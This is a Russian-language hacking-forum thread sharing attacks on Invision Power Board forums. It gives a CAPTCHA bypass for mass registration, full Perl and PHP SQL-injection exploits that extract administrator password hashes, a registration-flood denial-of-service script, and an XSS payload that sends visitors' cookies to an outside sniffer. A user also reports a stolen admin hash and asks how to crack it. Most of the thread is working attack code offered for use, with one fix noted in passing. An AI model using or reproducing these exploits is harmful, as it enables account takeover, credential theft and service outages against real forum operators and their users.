• XSS.stack #1 – первый литературный журнал от юзеров форума

Уязвимости: Invision Power Board (IPB)

Invision Power Board 2.1.3

Один из самых надёжный и популярных средств защиты от флуда - изображение с контрольными цифрами, которые робот (автоматический скрипт, флудер) распознать не может, а человек - с легкостью.
Свой пример реализации подобного изображения я разместил на http://www.usatikov.com/php.php?page=flood .

В этой статье я рассматриваю популярный форум IPB 2.1.3. Он считается одним из самых защищённых движков с открытым исходным кодом. Конечно, в нём предусмотрена защита от автоматической регистрации, защита от флуда и спама. Обратите внимание, защита в IPB реализованна в виде нескольких изображений с цифрами. Именно это этот форум и сгубит.

Что мешает хакеру написать скрипт, который бы при регистрации по очереди скачивал эти картинки и сравнивал их с прототипами? Я думаю, вы меня поняли. Ничего не мешает. Я пишу на php, поэтому примеры мои написаны не на perl'е.
Предварительно я сохранил из браузера все 10 картинок. Дальше мне нужно было перевести каждую из них в переменную, для последующего сравнения.
$open = fopen("0.gif", "r"); $original['0'] = fread($open, "67");
И так с каждой из 10ти "прототипов".
А потом нехитрая функция по распознаванию:
$img = fread(fopen($filename, "r"), "67");
if($img == $original['0']) { $code = "0"; };
Думаю, теперь вы меня окончательно поняли!

Конечно, на моём пути встретилось ещё несколько сложностей. Таких как id регистрации и пр. Но я верил в себя и, в конце концов, написал пример эксплуатации этой масштабной уязвимости Invision Power Board 2.1.13
Скачать эксплойт на php вы можете здесь: http://www.usatikov.com/downloads/ipb_flood.zip .

Я настоятельно рекомендую вам подумать о смене защиты от флуда на вашем форуме, если вы пользуетесь движком IPB . Сейчас я думаю над патчем для форума, который бы избавил форум от такой досадной ошибки.

©usatikov.com

[mod][Great:] Зачем заключил статью в тег {code}? Читать было невозможно[/mod]
 
Народ, а что ето мне сплойт говорит что хеш у админа 0000000...00 - это там просто ошибка в скрипте или форум пропатчен ?
 
IPB Portal 1.3 SQL injection Get Hash Exploit
Программа: Invision Power Board Portal 1.3 by Dragoran
Описание: Злоумышленник может сформировать SQL запрос, выводящий хэш пароля выбранного пользователя.
Использосание эксплойта: ipbpro.pl [HOST] [PATH] [Target id]
Тип уязвимоси: SQL injection
Язык сплойта: Perl
Устранение уязвимости: Невозможно на момент постинга
Эксплоит следует далее..[New$paN]

Код эксплойта:

Код:
#!/usr/bin/perl
###########################################
#IPB Portal 1.3->Invision Power Board plugin
#Created By SkOd
#SED security Team , http://sed-team.be
###########################################
#google:
#"Portal 1.3 by Dragoran"
###########################################



use IO::Socket;
if (@ARGV < 3){
print q{
############################################################
#      IPB Portal 1.3 SQL injection Get Hash Exploit       #
#          Tested on Invision Power Board 1.3.0         #
#       created By SkOd. SED Security Team             #
############################################################
   ipbpro.pl [HOST] [PATH] [Target id]
     ipbpro.pl www.host.com /forum/ 2
############################################################
};
exit;
}
$serv = $ARGV[0];
$dir = $ARGV[1];
$id = $ARGV[2];


$serv =~ s/(http:\/\/)//eg;
$path = $dir.'index.php?act=portal&site=-999%20
UNION%20SELECT%20substring(password,1,10),substring(password,11,20),substring(password,21,30)%20
FROM%20ibf_members%20Where%20id='.$id.'/*';
$path2 = $dir.'index.php?act=portal&site=-999%20UNION%20SELECT%20substring(password,31,32),null,null%20
FROM%20ibf_members%20Where%20id='.$id.'/*';
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-]Connect Failed\r\n";

print "[+]Connecting...\n";
print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "[+]Connected\n";
print "[+]User ID: $id\n";
print "[+]MD5 Hash: ";
while ($answer = <$socket>)
{
$answer =~ s/40%//eg;
$answer =~ s/30%//eg;
$answer =~ m/valign="top" width="(.*?)"/ && print "$1";
}

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-]Exploit Failed\r\n";
print $socket "GET $path2 HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";

while ($answer = <$socket>)
{
$answer =~ s/40%//eg;
$answer =~ s/30%//eg;
$answer =~ m/valign="top" width="(.*?)"/ && print "$1";
}

Вот этот фрагмент:
Код:
$path = $dir.'index.php?act=portal&site=-999%20
UNION%20SELECT%20substring(password,1,10),substring(password,11,20),substring(password,21,30)%20
FROM%20ibf_members%20Where%20id='.$id.'/*';

и вот этот:

Код:
$path2 = $dir.'index.php?act=portal&site=-999%20UNION%20SELECT%20substring(password,31,32),null,null%20
FROM%20ibf_members%20Where%20id='.$id.'/*';

Из эксплойта необходимо выровнять в 1 строку!
 
Подкорректированная версия старого сплойта. Что исправлено - ХЗ. Думайте сами)

Код:
#!/usr/bin/perl
#########################################################
#IPB Portal 1.3->Invision Power Board plugin
#Created By SkOd, SED security Team, http://sed-team.be
#
#google:
#"Portal 1.3 by Dragoran"
#########################################################

use IO::Socket;
if (@ARGV < 3){
print q{
############################################################
#      IPB Portal 1.3 SQL injection Get Hash Exploit       #
#          Tested on Invision Power Board 1.3.0         #
#       created By SkOd. SED Security Team             #
############################################################
   ipbpro.pl [HOST] [PATH] [Target id]
     ipbpro.pl www.host.com /forum/ 2
############################################################

print "[+]Connecting...\n";
};
exit;
}
$serv = $ARGV[0];
$serv =~ s/(http:\/\/)//eg;
$dir = $ARGV[1];
$id = $ARGV[2];

$inj = $dir.'index.php?act=portal&site=-999%20
UNION%20SELECT%20substring(password,1,10),substring(password,11,20),
substring(password,21,30)%20FROM%20ibf_members%20Where%20id='.$id.'/*';
$inj2 = $dir.'index.php?act=portal&site=-999%20UNION%20SELECT%20substring(password,31,32),null,null%20
FROM%20ibf_members%20Where%20id='.$id.'/*';
$inje=$inj;
print "[+]User ID: $id\n";
print "[+]MD5 Hash: ";
for ($i=1; $i<3; $i++)
{
if($i==2){
$inje=$inj2;
}
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-]Connect Failed\r\n";
print $socket "GET $inje HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
while ($answer = <$socket>)
{
$answer =~ s/width="(.*%)"//eg;
$answer =~ m/width="(.*?)"/ && print $1;
}
}

И как всегда:

Код:
$inj = $dir.'index.php?act=portal&site=-999%20
UNION%20SELECT%20substring(password,1,10),substring(password,11,20),
substring(password,21,30)%20FROM%20ibf_members%20Where%20id='.$id.'/*';
и
Код:
$dir.'index.php?act=portal&site=-999%20UNION%20SELECT%20substring(password,31,32),null,null%20
FROM%20ibf_members%20Where%20id='.$id.'/*';
В 1 строку ровняем.
 
Invision Power Board <= 2.1.4 (Register Users) Denial of Service Exploit
Уязвимые версии: Invision Power Board версии 2.1.4 и предыдущие
Класс уязвимости: Denial-Of-Service
Воздействие: локальный
Код эксплойта:
Код:
#!/usr/bin/perl
use IO::Socket;
##########################################################
## _______ _______ ______ #
## |______ |______ | \ #
## ______| |______ |_____/ #
## #
##IPB Register Multiple Users Denial of Service #
##Doesn't Work on forums using "Code Confirmation" #
##Created By SkOd #
##SED security Team #
##http://www.sed-team.be #
##skod.uk@gmail.com #
##ISRAEL #
##########################################################

print q{
############################################################
# Invision Power Board Multiple Users DOS #
#Tested on IPB 2.0.1 #
# created By SkOd. SED Security Team #
############################################################
};
$rand=rand(10);
print "Forum Host: ";
$serv = <stdin>;
chop ($serv);
print "Forum Path: ";
$path = <stdin>;
chop ($path);
for ($i=0; $i<9999; $i++)
{
$name="sedXPL_".$rand.$i;
$data = "act=Reg&CODE=02&coppa_user=0&UserName=".$name."&PassWord=sedbotbeta&PassWord_Check=sed botbeta&EmailAddress=".$name."\@host.com&EmailAddress_two=".$name."\@host.com&allow_admin_mail=1 &allow_member_mail=1&day=11&month=11&year=1985&agree=1";
$len = length $data;
$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "Cennot Connect Host, it's can be beacuse the host dosed";
print $get1 "POST ".$path."index.php HTTP/1.0\n";
print $get1 "Host: ".$serv."\n";
print $get1 "Content-Type: application/x-www-form-urlencoded\n";
print $get1 "Content-Length: ".$len."\n\n";
print $get1 $data;
syswrite STDOUT, "+";
}
print "Forum shuld be Dosed. Check it out...\n";
 
Invision Power Board Army System Mod 2.1 SQL Injection Exploit

Код:
<?php
/* --------------------------- EXPLOIT ---------------------------
Invision Power Board Army System Mod 2.1 SQL Injection Exploit
Tested on: Latest version (2.1.0)
Discovered on: 06.02.2006 by Alex & fRoGGz
Credits to: SecuBox Labs

PLEASE READ THIS !
The query of the SQL Injection depends about the number of fields in the sql table
We have successfully tested the exploit on a new fresh IPB 2.1.x with Army
System Mod 2.1 installed

IN NO EVENT SHALL THE OWNER OF THIS CODE OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

$target = "http://site.com/forums/"; // <--- Where ?
$prefix = "ibf_"; // <--- SQL prefix ?
$id = 1; // <--- Who ?

print_r(get_infos($target,$prefix,$id));
if(!get_infos($target,$prefix,$id)) echo "failed";

function get_infos($target,$prefix,$id) {

$inject = "index.php?s=&act=army&userstat=0+UNION+SELECT+id,member_login_key,";
$inject.= "1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,";
$inject.= "1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,NULL,NULL,";
$inject.= "NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,";
$inject.= "NULL+FROM+".$prefix."members+WHERE+id=";

$filename = $target . $inject . $id;

$handle = fopen ($filename, "r");
$infos = array();

if (feof($handle)) { continue 2; }
if ( $handle ) {
while ( ($buffer = fgets( $handle )) )
{
if ( strpos( $buffer, "<td class='pformleft' width=\"35%\">Name</td>& quot;) ) {
$infos['md5'] = strip_tags ( fgets( $handle) );
break;
}
}
}

fclose ($handle);

if (count($infos) == 1) return $infos;
return false;
}
?>
 
Множественные уязвимости в INVISION POWER BOARD 2.1.x
3 крупных уязвимости обнаружили ребята из ru-24 team.
SQL-инъекции: 2 штуки, а также раскрытие полного пути. От себя добавлю несколько таких раскрытй в IPB 2.0.х.
Подробно читаем далее[New$paN]:
1) SQL Injection
В скрипте calendar.php в функции cal_event_save( $type='add' ) отсутствует проверка на тип в переменной event_id
Код:
$event_id          = $this->ipsclass->input['event_id'];
Далее эта переменная подставляется напрямую в запрос к БД
Код:
$this->ipsclass->DB->simple_construct( array( 'select' => '*', 'from' => 'cal_events', 'where' => "event_id=$event_id" ) );
(и еще один запрос;) Это позволяет модифицировать запрос к базе данных
Код:
http://path_to_forum/index.php?act=calendar&code=doedit&type=qqq&event_id=your_SQL
Для успешной эксплуатации данной уязвимоти необходимо обладать правами для манипуляции с событиями календаря (добавление, редактирование)
Для исправления данной уязвимости достаточно
Код:
$event_id          = $this->ipsclass->input['event_id'];
заменить на
Код:
$event_id = intval($this->ipsclass->input['event_id']);

2) Из-за ошибок в скриптах можно определить полный путь к установочной дирректории форума обратившись к одному из следующих скриптов напрямую:

path_to_forum/sources/loginauth/ldap/auth.php
path_to_forum/sources/loginauth/internal/auth.php
path_to_forum/sources/loginauth/external/auth.php
path_to_forum/sources/loginauth/convert/auth.php
path_to_forum/sources/loginauth/convert/auth.php.bak
path_to_forum/sources/lib/search_mysql_man.php
path_to_forum/sources/lib/search_mysql_ftext.php
path_to_forum/sources/classes/post/class_post_edit.php
path_to_forum/sources/classes/post/class_post_new.php
path_to_forum/sources/classes/post/class_post_reply.php
path_to_forum/sources/classes/editor/class_editor_std.php
path_to_forum/sources/classes/editor/class_editor_rte.php
path_to_forum/sources/classes/bbcode/class_bbcode.php
path_to_forum/sources/classes/bbcode/class_bbcode_legacy.php
path_to_forum/sources/acp_loaders/acp_pages_components.php
path_to_forum/ips_kernel/PEAR/Text/Diff3.php
path_to_forum/ips_kernel/PEAR/Text/Diff/Renderer/inline.php
path_to_forum/ips_kernel/PEAR/Text/Diff/Renderer/unified.php

Уязвимости найдены в форуме v2.1.3.Возможно уязвимы и другие версии.

От себя добавлю, что в ipb 2.0.x в файлах из папки mysql_queries такаяже уязвимость.

3) SQL-injecrion exploit
Можно получить ссылку на смену пароля админа или любого юзера.
Есть условия: подходящая MySQL версия и включенный CURL-module.
 

Вложения

  • ru24_ipb21.txt
    10.6 КБ · Просмотры: 817
Люди!Сплойт ru24_ipb21 глючит! Когда я подставляю переменные в тело сплойта, а затем запускаю, он выдает ошибку: Unterminated <> operator at C:\Documents and Settings\Admin\Desktop\IPB\ipb21.pl line 1. Я только начинаю учить перл, поэтому если не трудно помогите!http://xss.pro/style_emoticons/default/help.gif
smilie
 
классический PHP...

Только немного не ясно...
CURL дожлен быть на хосте с форумом, на том хосте, где запускается сплойт или на обоих?
 
Неслабая XSS в IPB Всех версия до 2.1.4 включительно
Короче найдена новая бага в ИПБ. Суть баги в кнопочке ЖАЛОБА, которая есть под каждым помтом. Если глупый админ отключит кнопку из шаблонов - ее можно будет легко достать по адресу
Код:
http://forum/index.php?act=report&t=12&p=123&st=0
Суть XSS в том, что в данном поле вообще не фильтруется HTML.
Собстно достаточно там вставить код:
Код:
<script>img = new Image(); img.src = "http://xss.pro/sources/sniff/sniff.php?"+document.cookie;</script>
И администратор, прочитав письмо, не подозревая отправит свои куки на наш сниффер.
Тем, кого интересует патч - стучим в асю. Наиболее достойные проекты его получат ;)[New$paN] А может и все B)
 
хм... первая попытка и удача...
как я понял из того что мне снифер дал то это:
%20forumpass_hash=203c9bbe3e58de796bd3ba9b9252aef7
Это хеш его можно по словорю навсякий случай побрутить? Кстате это md5?

%20forummember_id=3
Это номер того админа который клюнул на уловку...

Я правильно изясняюся? :pioneer:
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх